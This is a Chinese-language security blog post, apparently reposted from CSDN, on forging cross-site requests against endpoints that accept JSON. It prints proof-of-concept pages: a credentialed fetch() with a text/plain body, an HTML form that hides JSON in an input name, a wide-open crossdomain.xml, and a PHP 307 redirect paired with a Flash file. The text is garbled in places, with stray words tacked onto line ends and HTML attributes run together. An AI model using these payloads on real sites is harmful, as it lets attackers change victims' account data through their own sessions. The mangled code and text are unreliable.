0×00 前言php
CSRF(Cross-site request forgery)跨站請求僞造,也被稱爲「One Click Attack」或者Session Riding,一般縮寫爲CSRF或者XSRF,是一種對網站的惡意利用。儘管聽起來像跨站腳本(XSS),但它與XSS很是不一樣,XSS利用站點內的信任用戶,而CSRF則經過假裝來自受信任用戶的請求來利用受信任的網站。與XSS攻擊相比,CSRF攻擊每每不大流行(所以對其進行防範的資源也至關稀少)和難以防範,因此被認爲比XSS更具危險性。html
對於大多數網站,瀏覽器請求會自動包含任何與網站相關的憑證,例如用戶的會話cookie,IP地址,Windows域憑證等等json
你們都知道CSRF攻擊,使用burpsuite裏自帶的加強工具(engagement tools)能夠很容易地構造各類基本的CSRF攻擊POC,包括經過XHR請求進行的CSRF攻擊。跨域
在這篇文章中,我將要談論我常常遇到的CSRF場景,而且我將盡量嘗試講清楚.瀏覽器
0×01 正文服務器
接下來的兩種方法能夠用在使用JSON格式數據進行post請求的狀況下.好比{「name」:」test」, 「email」:」victim.com」} ,有如下兩個場景.cookie
場景1app
服務器查找json格式的數據,但不驗證內容類型dom
場景2工具
服務器尋找json格式的數據並驗證Content-type,也就是application / json
注意:這個csrf攻擊只適用於應用程序只依賴json格式的數據或內容類型的應用程序/ json和數據格式檢查,若是有任何額外的csrf標記/ referer檢查的地方這將沒法正常工做。
開發案例1:
只要使用Fetch請求就能夠完成,正如咱們所知,在這種狀況下,服務器只檢查發佈的數據是否格式正確,若是是,它將接受請求,而無論內容類型是否設置爲文本/純文本
如今假設咱們必須將這個測試數據提交給易受攻擊的應用程序:{「name」:「attacker」,「email」:「attacker@gmail.com」}
更新的方法:
<html><title>JSON CSRF POC</title><body><center><h1> JSON CSRF POC </h1><script>fetch('http://vul-app.com';, {method: 'POST', credentials: 'include', headers: {'Content-Type': 'text/plain'}, body: '{"name":"attacker","email":"attacker.com"}'});</script><formaction="#"><inputtype="button"value="Submit" /></form></center></body></html>
資料來源:http://research.rootme.in/for...
之前的方法—-使用form:
使用form構造JSON數據等而後發起post請求:
html><title>JSON CSRF POC</title><center><h1> JSON CSRF POC </h1><formaction=http://vul-app.commethod=post...="text/plain" ><inputname='{"name":"attacker","email":"attacker@gmail.com","ignore_me":"'value='test"}'type='hidden'><inputtype=submitvalue="Submit"></form></center></html>
若是應用程序不關心在我看到的大多數狀況下發生的額外數據,這將使用有效的json格式的數據發出請求並填充一些額外的數據。若是沒有,老是有第二種使用方式。
資料來源:http://blog.opensecurityresea...
開發案例2:
在這裏即便應用程序正在驗證 內容類型和數據格式,這種攻擊也可使用flash和307重定向來實現。
要求:
精心製做的Flash文件
跨域XML文件
帶有307個狀態的PHP文件
精心製做的flash文件:
這個flash(.swf)文件有咱們的json格式的數據,攻擊者必須在目標應用程序上發佈,並連接到託管的php文件。
這裏是測試的 SWF文件,你能夠根據你的須要下載和編輯內容,我使用FFDec在Windows上進行編輯和編譯Flash文件,你能夠根據你的環境檢查其餘人。
crossdomain XML文件:
<cross-domain-policy><allow-access-fromdomain=""secure="false"/><allow-http-request-headers-fromdomain=""headers="*"secure="false"/></cross-domain-policy>
這個文件應該放在攻擊者網站的根目錄下,這樣Flash文件就能夠向攻擊者的主機發送請求。
注意:若是Flash文件&重定向器頁面在同一個域,則不須要crossdomain文件。
重定向的PHP文件
<?php// redirect automaticallyheader("Location: https://victim.com/user/endpoint/";, true, 307);?>
Flash文件請求這個php文件,這將使307重定向到提到的應用程序端點,而且307是特殊的重定向,它將從Flash文件接收到的JSON數據也post到目標端點,而且CSRF將成功執行.
做者:CanMengBlog
來源:CSDN
原文:https://blog.csdn.net/weixin_... 版權聲明:本文爲博主原創文章,轉載請附上博文連接!